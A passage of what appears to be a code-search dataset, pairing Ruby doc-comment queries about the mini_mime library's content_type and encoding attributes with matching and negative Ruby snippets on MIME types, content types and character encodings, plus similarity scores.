content_type; @message_impl.getContentType; end", "def extract_mime_type(io)\n if io.respond_to?(:mime_type)\n io.mime_type\n elsif io.respond_to?(:content_type)\n io.content_type\n end\n end", "def meta_encoding; end", "def meta_encoding; end", "def parse_64(edata)\n return nil if @eject\n to_parse = ''\n \n # Check every single F'ing character. God, MIME is slow.\n edata.each_byte do |i| i = i.chr\n if MIME_CHARS.include?(i)\n @mime_block << i\n if @mime_block.length == 4\n to_parse << de_mime(@mime_block)\n @mime_block = ''\n end\n end\n end # of each_byte\n\n # Hand the decoded data to the parser\n parse(to_parse) unless to_parse.empty?\n end" ]
[ "0.6959443", "0.64763504", "0.64763504", "0.64763504", "0.6364328", "0.62668884", "0.62668884", "0.62668884", "0.62668884", "0.6247269", "0.6083188", "0.60533684", "0.59577924", "0.5935162", "0.5929907", "0.59135294", "0.59135294", "0.58856237", "0.5881559", "0.58698", "0.584039", "0.5834103", "0.5736691", "0.5639992", "0.56258905", "0.5597791", "0.55914634", "0.55777764", "0.5541919", "0.5535863", "0.5527637", "0.5527396", "0.55125695", "0.55038875", "0.5500242", "0.54845834", "0.5475621", "0.547266", "0.54511106", "0.5428325", "0.54281986", "0.54281986", "0.54281986", "0.54281986", "0.54281986", "0.54281986", "0.54281986", "0.54281986", "0.5425264", "0.54248655", "0.5416834", "0.5413988", "0.5413988", "0.5413988", "0.539037", "0.53785044", "0.53683734", "0.5343884", "0.53330314", "0.5328242", "0.5314327", "0.5311025", "0.53078324", "0.5304184", "0.5297703", "0.5292622", "0.5272881", "0.52668804", "0.5259081", "0.52559745", "0.525286", "0.52477515", "0.52434367", "0.52387345", "0.5238192", "0.52369845", "0.5230179", "0.52300346", "0.522943", "0.5203146", "0.5191137", "0.5191137", "0.5178362", "0.5166846", "0.51549464", "0.51536644", "0.5151549", "0.51463515", "0.5144401", "0.5141153", "0.5139861", "0.5129964", "0.5110525", "0.5108741", "0.51053524", "0.5105183", "0.50996387", "0.50985414", "0.5091366", "0.5091366", "0.5084144" ]
0.0
-1
Returns the value of attribute content_type. source://mini_mime//lib/mini_mime.rb31
def content_type; end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def content_type\n instance_read(:content_type)\n end", "def content_type\n @mime_type\n end", "def content_type\n @mime_type || @heads['content-type']\n end", "def content_type\n return @content_type\n end", "def content_type\n @content_type ||=\n identified_content_type ||\n declared_content_type ||\n guessed_safe_content_type ||\n Marcel::MimeType::BINARY\n end", "def get_content_type\n self.content_type\n end", "def content_type\n @content_type || file.content_type\n end", "def mime_type\n @attributes[:mime_type]\n end", "def content_type\n file.try(:content_type)\n end", "def content_type\n self[\"Content-Type\"]\n end", "def content_type\n end", "def media_type\r\ncontent_mime_type.to_s\r\nend", "def content_type\n ::MIME::Types.type_for(name).first.try(:content_type) || 'text/html'\n end", "def content_mime_type; end", "def content_type\n #; [!95g9o] returns env['CONTENT_TYPE'].\n return @env['CONTENT_TYPE']\n end", "def mimetype\n return attributes['mimetype'] if attributes['mimetype']\n return \"image/png\" if content =~ /^.PNG/\n return \"application/octet-stream\"\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_type\n @content_type || object.content_type\n end", "def content_type\n @io.content_type\n end", "def stringy_media_type\n request.content_mime_type.to_s\n end", "def content_type\n @content_type ||= MediaTypeIdentifier.load(headers['Content-Type']).freeze\n end", "def content_type\n type, *parameters = content_type_parse\n type || 'application/octet-stream'\n end", "def content_type\n @content_type ||= request.content_type\n end", "def content_type\n raise MissingFileMapping.new if mapping.blank?\n raise NodesMissing.new if mapping.nodes.blank?\n\n retrieve_meta!\n\n return self.meta['content_type'].to_s\n end", "def mime_type\n metadata[\"mime_type\"]\n end", "def mime_type\n @metadata[:mime_type]\n end", "def content_type\n environment.content_type_of(pathname)\n end", "def mimetype\n return @mimetype if defined? @mimetype\n\n type = metadata['Content-Type'].is_a?(Array) ? metadata['Content-Type'].first : metadata['Content-Type']\n\n @mimetype = MIME::Types[type].first\n end", "def content_type\n @content_type ||= stream.content_type\n end", "def mime_type\n return @mime_type\n end", "def content_type\n reader.format.content_type if valid?\n end", "def content_type\n self.file_content_type\n end", "def get_content_type(filename)\n ext = File.extname(filename) # get the extension\n type = 'application/octed-stream'\n type = 'text/html' if ext == '.html' || ext == '.htm'\n type = 'text/plain' if ext == '.txt' || ext == '.rb'\n type = 'text/css' if ext == '.css'\n type = 'image/jpeg' if ext == '.jpeg' || ext == '.jpg'\n type = 'image/gif' if ext == '.gif'\n type = 'image/png' if ext == '.png'\n type = 'image/bmp' if ext == '.bmp'\n type = 'text/xml' if ext == '.xml' || ext == '.xsl'\n type # same as: return type\n end", "def content_type\n\t\treturn self.headers.content_type\n\tend", "def content_type\n\t\treturn self.headers.content_type\n\tend", "def content_type\n\t\treturn self.headers[ :content_type ]\n\tend", "def content_type=(value)\n @content_type = value\n end", "def content_type=(type)\n\t\t\tif type.index(C_slash)\n\t\t\t\t@content_type = type\n\t\t\telse\n\t\t\t\t@content_type = MIME::Types.type_for(type).first || BINARY_TYPE\n\t\t\tend\n\t\tend", "def content_type\n @content_type ||= @response_impl.entity.content_type.value\n end", "def content_type\n @content_type ||= begin\n if format_extension.nil?\n engine_content_type || 'application/octet-stream'\n else\n format_content_type ||\n engine_content_type ||\n 'application/octet-stream'\n end\n end\n end", "def content_type\n @headers['content-type'][0] rescue nil\n end", "def content_type_of(path)\n attributes_for(path).content_type\n end", "def content_type\n headers['content-type'].first\n end", "def getContenttype\r\n\t\t\t\t\treturn @contenttype\r\n\t\t\t\tend", "def content_type(value = nil)\n value ? @content_type = value : @content_type\n end", "def content_type(path)\r\n ext = File.extname(path).split(\".\").last\r\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\r\nend", "def content_type(path)\n extension = path.split(\".\").last\n type = CONTENT_TYPE[extension] ||= 'application/octet-stream'\nend", "def content_type_string\n Mime::Type.lookup_by_extension(content_type).to_s\n end", "def content_type\n @resource.content_type\n end", "def content_type\n headers['content-type'].first\n end", "def mime_type\n MIME_TYPE\n end", "def mime_type\n has_content_type? ? header[:content_type].string : nil rescue nil\n end", "def extract_content_type\n if data_content_type == \"application/octet-stream\" && !data_file_name.blank?\n content_types = MIME::Types.type_for(data_file_name)\n self.data_content_type = content_types.first.to_s unless content_types.empty?\n end\n end", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def content_mime_type\n fetch_header(\"action_dispatch.request.content_type\") do |k|\n v = if get_header(\"CONTENT_TYPE\") =~ /^([^,;]*)/\n Mime::Type.lookup($1.strip.downcase)\n else\n nil\n end\n set_header k, v\n rescue ::Mime::Type::InvalidMimeType => e\n raise InvalidType, e.message\n end\n end", "def content_type\n %x(file -bi \"#{self.path}\").chomp.scan(/^[a-z0-9\\-_]+\\/[a-z0-9\\-_]+/).first\n end", "def get_content_type(file)\n t = MIME::Types.of(file)\n t.first.content_type unless t.empty?\n end", "def to_s\n content_type\n end", "def content_type\n @headers['Content-Type']\n end", "def mime_type\n return content_type\nend", "def to_str\n @content_type\n end", "def content_type(file_name)\n # Just grabbing the extension\n extension = ::File.extname(file_name.downcase)[1..-1]\n return @extension_map[extension] if @extension_map.key?(extension)\n 'application/octet-stream'\n end", "def content_type\n self.name[/::(.*)$/, 1].underscore.gsub(/_/, '/')\n end", "def content_type ctype=nil\n @content_type = ctype if ctype\n @content_type ||=\n \"#{self.class.media_type}/#{self.class.api_name}+#{@env['kiwi.format']}\"\n end", "def file_content_type\n types = MIME::Types.type_for(original_filename)\n types.first\n end", "def get_content_type file\n mime_type = MIME::Types.type_for(file.original_filename)\n return mime_type.first ? mime_type.first : nil\n end", "def the_content_type(content=nil)\n if node = content || @content || Content.get(params[:id])\n node.content_type\n else\n \"<strong>Error:</strong> No content type information could be found\" unless ENV['RACK_ENV'] == 'production'\n end\n end", "def mime_type\n self.class.mime_type\n end", "def content_type\n headers[:content_type]\n end", "def content_type\n if headers.key?('Content-Type')\n typename = headers['Content-Type'].value_without_parameters\n else\n typename = 'text/plain'\n end\n\n MIME::Types[typename].first\n end", "def content_type; @message_impl.getContentType; end", "def content_type(path)\n ext = File.extname(path).split('.').last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\n end", "def request_content_type\n @request_headers[\"Content-Type\"]\n end", "def content_type\n headers['content-type']\n end", "def content_type\n content_type_header = @collection.detect { |header| header.has_key?(CONTENT_TYPE_HEADER_KEY) }\n return (content_type_header.nil?) ? nil : content_type_header[CONTENT_TYPE_HEADER_KEY]\n end", "def content_type\n @response['content-type'].nil? ? 'text/plain' : @response['content-type']\n end", "def mime_type; end", "def mime_type; end", "def mime_type; end", "def mime_type; end", "def media_type\n return unless headers['Content-Type']\n\n headers['Content-Type'].split(';').first\n end", "def mime_type\n @mime_type ||= message.mime_type\n end", "def mimetype\n return @mimetype if defined? @mimetype\n\n content_type = metadata['Content-Type'].is_a?(Array) ? metadata['Content-Type'].first : metadata['Content-Type']\n @mimetype = Henkei.mimetype(content_type)\n end", "def content_type\n return @content_type unless @content_type.blank?\n if has_attachments?\n return \"multipart/mixed\"\n elsif !body(:plain).blank? && !body(:html).blank?\n return \"multipart/alternative\"\n elsif body(:html)\n return \"text/html\"\n else\n return \"text/plain\"\n end\n end", "def content_type\n ((response.headers.values_at('content-type', 'Content-Type').compact.first || '').split(';').first || '').strip\n end", "def extract_mime_type(io)\n if io.respond_to?(:mime_type)\n io.mime_type\n elsif io.respond_to?(:content_type)\n io.content_type\n end\n end", "def media_type(meta, file)\n tags = meta.inject(&:merge)\n tags.fetch 'MIMEType', Rack::Mime.mime_type(File.extname(file))\n end", "def to_s\n @content_type\n end", "def content_type\n return blank_type if @headers.nil?\n \n # if no content type is supplied return and empty string instead of nil\n Page.content_type_sanitize( @headers['content-type'] ) \n end", "def dor_content_type\n public_xml_doc.xpath('//contentMetadata/@type').text\n end", "def content\n try(content_type)\n end" ]
[ "0.8374838", "0.823714", "0.8218396", "0.8185867", "0.81830573", "0.80453855", "0.8023832", "0.7974987", "0.7971284", "0.7932373", "0.79038745", "0.7889736", "0.7887338", "0.78531736", "0.78133416", "0.7807741", "0.77947146", "0.77947146", "0.7791832", "0.7774186", "0.77401596", "0.7727177", "0.7726668", "0.7722004", "0.7721058", "0.77199453", "0.7693809", "0.76802206", "0.76748395", "0.76739836", "0.7657911", "0.7657262", "0.7656808", "0.763271", "0.7620227", "0.7620227", "0.7614082", "0.7611572", "0.76098335", "0.75914216", "0.75498927", "0.75467086", "0.7530835", "0.7530436", "0.7526084", "0.75230783", "0.75173646", "0.75149614", "0.750272", "0.7499507", "0.7496773", "0.74949443", "0.74890107", "0.7478681", "0.7474995", "0.7474995", "0.74747753", "0.7473924", "0.7473094", "0.7472509", "0.7459561", "0.74515533", "0.74415535", "0.743021", "0.74266946", "0.7399407", "0.7398711", "0.7389369", "0.7378799", "0.737731", "0.73723406", "0.736428", "0.73616505", "0.7355734", "0.73554343", "0.7353519", "0.73252726", "0.732052", "0.73188704", "0.73188704", "0.73188704", "0.73188704", "0.7302536", "0.73016834", "0.7301382", "0.7289748", "0.72888565", "0.72879446", "0.727225", "0.72688997", "0.725308", "0.7246005", "0.7245757" ]
0.7326336
83
Sets the attribute content_type
def content_type=(_arg0); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def content_type=(value)\n @content_type = value\n end", "def content_type=(content_type); end", "def content_type=(type)\n @content_type = type\n end", "def content_type=(new_content_type)\n write_attribute(:content_type, new_content_type)\n end", "def content_type=(value)\n raise ArgumentError, \"content_type must be set to :data or :header, was: #{value.inspect}\" unless [:data, :header].include?(value)\n @content_type = value\n end", "def attachment_content_type=(value)\n self.content_type=value\n end", "def content_type=(new_content_type)\n @content_type = new_content_type\n end", "def content_type=( type )\n\t\treturn self.headers.content_type = type\n\tend", "def content_type=( type )\n\t\treturn self.headers.content_type = type\n\tend", "def content_type=( type )\n\t\treturn self.headers[ :content_type ] = type\n\tend", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def content_type=(type)\n\t\t\tif type.index(C_slash)\n\t\t\t\t@content_type = type\n\t\t\telse\n\t\t\t\t@content_type = MIME::Types.type_for(type).first || BINARY_TYPE\n\t\t\tend\n\t\tend", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_content_type(content_type)\n set_header 'Content-Type', content_type\n end", "def setContenttype(contenttype)\r\n\t\t\t\t\t@contenttype = contenttype\r\n\t\t\t\tend", "def content_type=(ctype)\n @response_headers[\"Content-Type\"] = ctype\n end", "def content_type(value = nil)\n value ? @content_type = value : @content_type\n end", "def content_type=(v) Axlsx::validate_content_type v; @content_type = v end", "def []=(content_type, klass); end", "def image_content_type=(value)\n @children['image-content-type'][:value] = value\n end", "def assign_type(content_type)\n self.type = MimeMapping.class_type_from(content_type).name\n end", "def content_type=(content_type); @message_impl.setContentType content_type; end", "def content_type(type)\n @headers << \"Content-Type: #{type}\\r\\n\"\n @content_type = true\n end", "def set_content_type\n format = settings[:format] = params[:format].to_sym\n content_type content_types[format]\n end", "def content_type=(mime_type)\n self.headers[\"Content-Type\"] =\n if mime_type =~ /charset/ || (c = charset).nil?\n mime_type.to_s\n else\n \"#{mime_type}; charset=#{c}\"\n end\n end", "def content_type(type=nil, params={})\n return @_content_type unless type\n super(type, params)\n @_content_type = type\n end", "def content_type=(identifier)\n @content_type = nil\n headers['Content-Type'] = MediaTypeIdentifier.load(identifier).to_s\n end", "def mime_type=(value)\n @mime_type = value\n end", "def set_content_type\n @content_type = ContentType.find(params[:id])\n end", "def set_content_type(override=false)\n if override || file.content_type.blank? || generic_content_type?\n new_content_type = ::MIME::Types.type_for(current_path).first.to_s\n if file.respond_to?(:content_type=)\n file.content_type = new_content_type\n else\n file.instance_variable_set(:@content_type, new_content_type)\n end\n end\n rescue ::MIME::InvalidContentType => e\n raise CarrierWave::ProcessingError, I18n.translate(:\"errors.messages.mime_types_processing_error\", :e => e)\n end", "def set_content_type(override=false)\n if override || file.content_type.blank?\n File.open(file.path) do |fd|\n data = fd.read(1024) || \"\"\n new_content_type = filemagic.buffer(data)\n if file.respond_to?(:content_type=)\n file.content_type = new_content_type\n else\n file.instance_variable_set(:@content_type, new_content_type)\n end\n end\n end\n end", "def ContentType=(v) Axlsx::validate_content_type", "def set_content_type raw_type\n response_object.mime_raw raw_type\n end", "def set_content_type(response, format)\n raise NotImplementedError\n end", "def set_content_type(response, format)\n raise NotImplementedError\n end", "def content_encoding=( type )\n\t\treturn self.headers.content_encoding = type\n\tend", "def content_encoding=( type )\n\t\treturn self.headers.content_encoding = type\n\tend", "def content_type ctype=nil\n @content_type = ctype if ctype\n @content_type ||=\n \"#{self.class.media_type}/#{self.class.api_name}+#{@env['kiwi.format']}\"\n end", "def enforce_content_type\n @config.instance_variable_set(:@enforce_content_type, true)\n end", "def default_mime_type=(value); end", "def set_content_type(ctype)\n headers[\"Content-Type\"] = \"#{ctype};charset=#{Response.charset}\"\n end", "def update_content_type\n if file.present? && file_changed?\n self.content_type = file.file.content_type\n end\n end", "def content_type\n @content_type ||=\n identified_content_type ||\n declared_content_type ||\n guessed_safe_content_type ||\n Marcel::MimeType::BINARY\n end", "def content_type\n @content_type || object.content_type\n end", "def as(content_type)\n @content_type = content_type\n @accepts = content_type\n self\n end", "def assign_type(content_type)\n self.type = self.class.class_type_from(content_type)\n end", "def content_type\n @content_type ||= request.content_type\n end", "def content_type\n end", "def content_type\n @content_type ||= @response_impl.entity.content_type.value\n end", "def add_content_type(extension, type); end", "def as(content_type)\n headers['Content-Type'] = content_type\n accepts(content_type)\n end", "def content_type\n return @content_type\n end", "def content_type(type=nil, params={})\n type.nil? ? @_content_type : super(type, params)\n end", "def content_type(type=nil, params={})\n type.nil? ? @_content_type : super(type, params)\n end", "def mime_type=(_); end", "def content_types=(value)\n @content_types = value\n end", "def set_content_type\n case params['format']\n when 'xml'\n response.headers['Content-Type'] = \"application/xml; charset=utf-8\"\n when 'json', 'csv'\n response.headers['Content-Type'] = \"application/json; charset=utf-8\"\n else\n raise \"Unexpected format!\"\n end\n end", "def get_content_type\n self.content_type\n end", "def content_type! type = nil, charset = nil\n __e__.explicit_charset = charset if charset\n charset ||= (content_type = response['Content-Type']) &&\n content_type.scan(%r[.*;\\s?charset=(.*)]i).flatten.first\n type && (Symbol === type) && (type = '.' << type.to_s)\n content_type = type ?\n (type =~ /\\A\\./ ? '' << mime_type(type) : type.split(';').first) : 'text/html'\n content_type << '; charset=' << charset if charset\n response['Content-Type'] = content_type\n end", "def set_media_type\n media_types = self.class.head(@endpoint).headers['accept']\n Occi::Log.debug(\"Available media types: #{media_types}\")\n @media_type = case media_types\n when /application\\/occi\\+json/\n 'application/occi+json'\n else\n 'text/plain'\n end\n end", "def add_content_type\n header[:content_type] = 'text/plain'\n end", "def content_type\n @content_type ||= MediaTypeIdentifier.load(headers['Content-Type']).freeze\n end", "def content_type\n @content_type || file.content_type\n end", "def set_content_type(extension)\n content_type Rack::Mime.mime_type(extension, \"application/json\")\n end", "def content_type\n @mime_type\n end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type\n @content_type ||= begin\n if format_extension.nil?\n engine_content_type || 'application/octet-stream'\n else\n format_content_type ||\n engine_content_type ||\n 'application/octet-stream'\n end\n end\n end", "def set_content_type(extension)\n begin\n content_type Rack::Mime.mime_type(extension)\n rescue\n STDERR.puts \"Couldn't find the MIME type for #{extension}.\"\n end\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_mime_type\n fetch_header(\"action_dispatch.request.content_type\") do |k|\n v = if get_header(\"CONTENT_TYPE\") =~ /^([^,;]*)/\n Mime::Type.lookup($1.strip.downcase)\n else\n nil\n end\n set_header k, v\n rescue ::Mime::Type::InvalidMimeType => e\n raise InvalidType, e.message\n end\n end", "def attributes\n super.merge(:content_type => content_type)\n end", "def content_type\n @mime_type || @heads['content-type']\n end", "def content_type\n raise NotImplemented\n end", "def content_type\n raise NotImplemented\n end", "def set_type\n case content\n when \"empty\" then self.content_type = \"empty\"\n when /ire/ then self.content_type = \"ire\"\n when /hill|tree/ then self.content_type = \"obstacle\"\n when /axe|sword|lance/ then self.content_type = \"enemy\"\n else raise \"Change type\"\n end\n end", "def content_type\n self[\"Content-Type\"]\n end", "def content_type\n @content_type ||= stream.content_type\n end", "def set_type\n end", "def content_type\n raise NotImplementedError\n end", "def content_type(type)\n headers(HTTP::Headers::CONTENT_TYPE => HTTP::MimeType.normalize(type))\n end", "def set_file_type\n if self.is_local?\n if self.attachment_content_type.blank?\n self.file_type = \"misc\"\n elsif self.attachment_content_type == 'application/pdf'\n self.file_type = \"pdf\"\n elsif self.attachment_content_type.include?('powerpoint')\n self.file_type = \"presentation\"\n elsif self.attachment_content_type == 'application/zip'\n self.file_type = \"zip\"\n elsif self.attachment_content_type == \"application/rtf\" || self.attachment_content_type == 'text/plain' || self.attachment_content_type == 'application/msword' || self.attachment_content_type.include?('wordprocessing')\n self.file_type = \"document\"\n elsif self.attachment_content_type.include?('spreadsheet') || self.attachment_content_type == 'ms-excel'\n self.file_type = \"spreadsheet\"\n elsif self.attachment_content_type.include?('image')\n self.file_type = \"image\"\n else\n self.file_type = \"misc\"\n end\n end\n end", "def content_type\n @content_type || MiddlewareAutocomplete.content_type\n end", "def fixup_response_content_type( response )\n\n\t\t# Make the error for returning something other than a Response object a little\n\t\t# nicer.\n\t\tunless response.respond_to?( :content_type )\n\t\t\tself.log.error \"expected response (%p, a %p) to respond to #content_type\" %\n\t\t\t\t[ response, response.class ]\n\t\t\tfinish_with( HTTP::SERVER_ERROR, \"malformed response\" )\n\t\tend\n\n\t\trestype = response.content_type\n\n\t\tif !restype\n\t\t\tif (( default = self.class.default_type ))\n\t\t\t\tself.log.debug \"Setting content type of the response to the default: %p\" %\n\t\t\t\t\t[ default ]\n\t\t\t\tresponse.content_type = default\n\t\t\telse\n\t\t\t\tself.log.debug \"No default content type\"\n\t\t\tend\n\t\telse\n\t\t\tself.log.debug \"Content type already set: %p\" % [ restype ]\n\t\tend\n\tend", "def content_type\n instance_read(:content_type)\n end", "def content_type(type)\n @response.content_type == type\n end", "def attribute_set(name, value) \n \n super(name, value)\n \n if (name.to_sym == :content_type) \n check_content_type!\n check_publishing_workflow!\n end\n\n end" ]
[ "0.8802819", "0.86074495", "0.8489716", "0.843544", "0.8331165", "0.8311967", "0.82400024", "0.8239851", "0.8239851", "0.8196885", "0.8129728", "0.8129728", "0.8129728", "0.8129728", "0.80998695", "0.80701995", "0.80701995", "0.8060694", "0.80258304", "0.79890436", "0.79428315", "0.7939347", "0.7759994", "0.7701072", "0.7697179", "0.7647927", "0.76406455", "0.7628369", "0.7584261", "0.756587", "0.75145", "0.74669755", "0.7398349", "0.7385236", "0.7325244", "0.730884", "0.73022664", "0.72824323", "0.72824323", "0.72707236", "0.72707236", "0.7250553", "0.724579", "0.7201461", "0.72011966", "0.71679145", "0.71532726", "0.71468675", "0.71382177", "0.71371585", "0.7119742", "0.7105571", "0.71001893", "0.7086524", "0.7080895", "0.70501226", "0.7032372", "0.7032372", "0.7004604", "0.7002414", "0.69372815", "0.6927721", "0.6906406", "0.69000715", "0.6899066", "0.6888596", "0.6874617", "0.6863328", "0.6860772", "0.6830656", "0.6830656", "0.6830656", "0.6830656", "0.6830656", "0.6830656", "0.6830656", "0.6830656", "0.6815381", "0.6811264", "0.68013626", "0.68013626", "0.67795694", "0.6777436", "0.67728066", "0.67686", "0.67686", "0.67614955", "0.67496234", "0.6731829", "0.67313635", "0.67181706", "0.66969866", "0.6695164", "0.6695053", "0.66913426", "0.668634", "0.6653502", "0.6647259" ]
0.6991175
62
Returns the value of attribute encoding. source://mini_mime//lib/mini_mime.rb31
def encoding; end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def encoding\n @attributes[:encoding]\n end", "def encoding\n @content[pn(:Encoding)]\n end", "def meta_encoding; end", "def meta_encoding; end", "def encoding\n if @encoding.blank?\n if !self.http_headers.blank?\n if self.http_headers['content-type'] =~ /charset=([\\w\\d-]+)/\n @encoding = $1.downcase\n else\n @encoding = self.encoding_from_feed_data\n end \n else\n @encoding = self.encoding_from_feed_data\n end\n end\n return @encoding\n end", "def meta_encoding=(encoding); end", "def meta_encoding=(encoding); end", "def encoding\n @external_encoding\n end", "def encoding(encoding); end", "def encoding\n @io.external_encoding\n end", "def encoding\n @io.external_encoding\n end", "def value\n case encoding\n when nil, '8BIT', '7BIT' then @value\n\n # Hack - if the base64 lines started with 2 SPC chars, which is invalid,\n # there will be extra spaces in @value. Since no SPC chars show up in\n # b64 encodings, they can be safely stripped out before unpacking.\n when 'B', 'BASE64' then @value.gsub(' ', '').unpack('m*').first\n\n when 'QUOTED-PRINTABLE' then @value.unpack('M*').first\n\n else\n raise Vpim::InvalidEncodingError, \"unrecognized encoding (#{encoding})\"\n end\n end", "def found_encoding; end", "def found_encoding; end", "def content_encoding\n\t\treturn self.headers.content_encoding\n\tend", "def content_encoding\n\t\treturn self.headers.content_encoding\n\tend", "def charset\n metadata[:charset]\n end", "def encoding\n @connection.encoding.to_s\n end", "def mobile_encoding\n\t'ISO-8859-1'\nend", "def encoding\n Encoding::UTF_8\n end", "def encoding\n Encoding::UTF_8\n end", "def encoding=(enc); end", "def encoding\n\t'ISO-8859-1'\nend", "def encoding(value = nil)\n value ? @encoding = value : @encoding\n end", "def content_encoding\n v = @meta['content-encoding']\n if v && %r{\\A#{RE_LWS}?#{RE_TOKEN}#{RE_LWS}?(?:,#{RE_LWS}?#{RE_TOKEN}#{RE_LWS}?)*}o =~ v\n v.scan(RE_TOKEN).map {|content_coding| content_coding.downcase}\n else\n []\n end\n end", "def default_encoding; end", "def default_encoding; end", "def file_encoding(file)\n output = %x{file --mime-encoding #{file} 2>&1}.chomp\n regexp = Regexp.new(\"#{file}: (\\\\S+)\")\n matched = output.match(regexp)\n encoding = matched[1] if matched\n encoding = begin Encoding.find(encoding) rescue nil end\n end", "def encoding(encoding)\n primitive \"encoding #{encoding}\"\n end", "def best_mime_encoding\n if self.is_ascii?\n :none\n elsif self.length > (self.mb_chars.length * 1.1)\n :base64\n else\n :quoted_printable\n end\n end", "def find_encoding(encoding); end", "def so_encoding(feature)\n if hash = @data[feature]\n if hash[\"encoding\"]\n return hash[\"encoding\"]\n end\n end\n end", "def encodings; end", "def encoding\n @body.encoding\n end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding=(_arg0); end", "def encoding\n if @connection.respond_to?(:encoding)\n @connection.encoding.to_s\n else\n @connection.execute('PRAGMA encoding')[0]['encoding']\n end\n end", "def encoding()\n #This is a stub, used for indexing\n end", "def encoding_found; end", "def encoding_found; end", "def internal_encoding()\n #This is a stub, used for indexing\n end", "def default_encoding\n (@media_type == \"text\") ? \"quoted-printable\" : \"base64\"\n end", "def guess_encoding\n if @mime_type && !@mime_type.binary?\n \"7bit\"\n else\n \"binary\"\n end\n end", "def transfer_encoding\n h = header.find('Content-Transfer-Encoding')\n return nil if h.nil?\n\n h[1]\n end", "def encoding\n e = param('ENCODING')\n\n if e\n if e.length > 1\n raise Vpim::InvalidEncodingError, \"multi-valued param 'ENCODING' (#{e})\"\n end\n e = e.first.upcase\n end\n e\n end", "def charset\n @charset ||= (charset_from_meta_charset || charset_from_meta_content_type)\n end", "def position_encoding\n attributes.fetch(:positionEncoding)\n end", "def charset\n @charset ||= (charset_from_meta_charset || charset_from_content_type)\n end", "def manage_meta_set_encoding encoding\n @manage_meta_encoding = encoding\n end", "def external_encoding; @_external_encoding || _external_encoding; end", "def external_encoding()\n #This is a stub, used for indexing\n end", "def encoding\n # noop?\n end", "def default_encoding\n Encoding::UTF_8\n end", "def charset\n 'UTF8'\n end", "def encoding_line; end", "def charset\n @@charset\n end", "def charset; end", "def charset; end", "def charset; end", "def encoding(*args)\n if args.empty?\n return @encoding\n else\n @encoding = args[0]\n return self\n end\n end", "def charset\n match_data = headers['Content-Type']&.match(/charset=(.*);?/)\n return unless match_data\n\n Encoding.find(match_data[1])\n end", "def encoding\n @encoding ||= AudioFormat::Encoding::PCM_UNSIGNED\n end", "def encoding\n @gapi.encoding\n end", "def encoding\n @gapi.encoding\n end", "def charset\n 'utf-8'\n end", "def get_encoding()\n puts @csv_encoding\n end", "def get_encoding_from_headers(type_header)\n return nil unless type_header\n\n content_type, params = cgi_parse_header(type_header)\n\n if params.include?('charset')\n return params.fetch('charset').gsub(/(\\A[\"']*)|([\"']*\\z)/, '')\n end\n\n nil\n end", "def encoding_from_feed_data\n if @encoding_from_feed_data.blank?\n raw_data = self.feed_data\n return nil if raw_data.nil?\n encoding_from_xml_instruct = \n raw_data.scan(\n /^<\\?xml [^>]*encoding=\"([^\\\"]*)\"[^>]*\\?>/\n ).flatten.first\n unless encoding_from_xml_instruct.blank?\n encoding_from_xml_instruct.downcase!\n end\n if encoding_from_xml_instruct.blank?\n begin\n doc = REXML::Document.new(raw_data)\n encoding_from_xml_instruct = doc.encoding.downcase\n if encoding_from_xml_instruct == \"utf-8\"\n # REXML has a tendency to report utf-8 overzealously, take with\n # grain of salt\n encoding_from_xml_instruct = nil\n end\n rescue\n end\n else\n @encoding_from_feed_data = encoding_from_xml_instruct\n end\n if encoding_from_xml_instruct.blank?\n sniff_table = {\n \"Lo\\247\\224\" => \"ebcdic-cp-us\",\n \"<?xm\" => \"utf-8\"\n }\n sniff = self.feed_data[0..3]\n if sniff_table[sniff] != nil\n @encoding_from_feed_data = sniff_table[sniff].downcase\n end\n else\n @encoding_from_feed_data = encoding_from_xml_instruct\n end\n if @encoding_from_feed_data.blank?\n # Safest assumption\n @encoding_from_feed_data = \"utf-8\"\n end\n end\n return @encoding_from_feed_data\n end", "def external_encoding\n Encoding.default_external\n end", "def raw_encoding(default = Encoding::ASCII_8BIT)\n if @io.respond_to? :internal_encoding\n @io.internal_encoding || @io.external_encoding\n elsif @io.is_a? StringIO\n @io.string.encoding\n elsif @io.respond_to? :encoding\n @io.encoding\n else\n default\n end\n end", "def encoded_file_data(item = nil)\n get_file_data(item)[:data].presence\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def encoding\n @stdin.external_encoding\n end", "def file_characterization_attributes\n {\n mime_type: mime_type\n }\n end", "def encoding\n\n position = 0\n charset = nil\n length = @html.length\n\n done = false\n\n while position < length && !done\n\n # First look for a standard HTML comment (ie <!-- blah -->)\n if @html[position, 4] == '<!--'\n\n position += 2\n\n position += (@html[position, length].index('-->') || length)\n\n # Then look for the start of a meta tag\n elsif @html[position, 6] =~ /\\A\\<meta[\\s\\/]/i\n\n charset, position_increment = 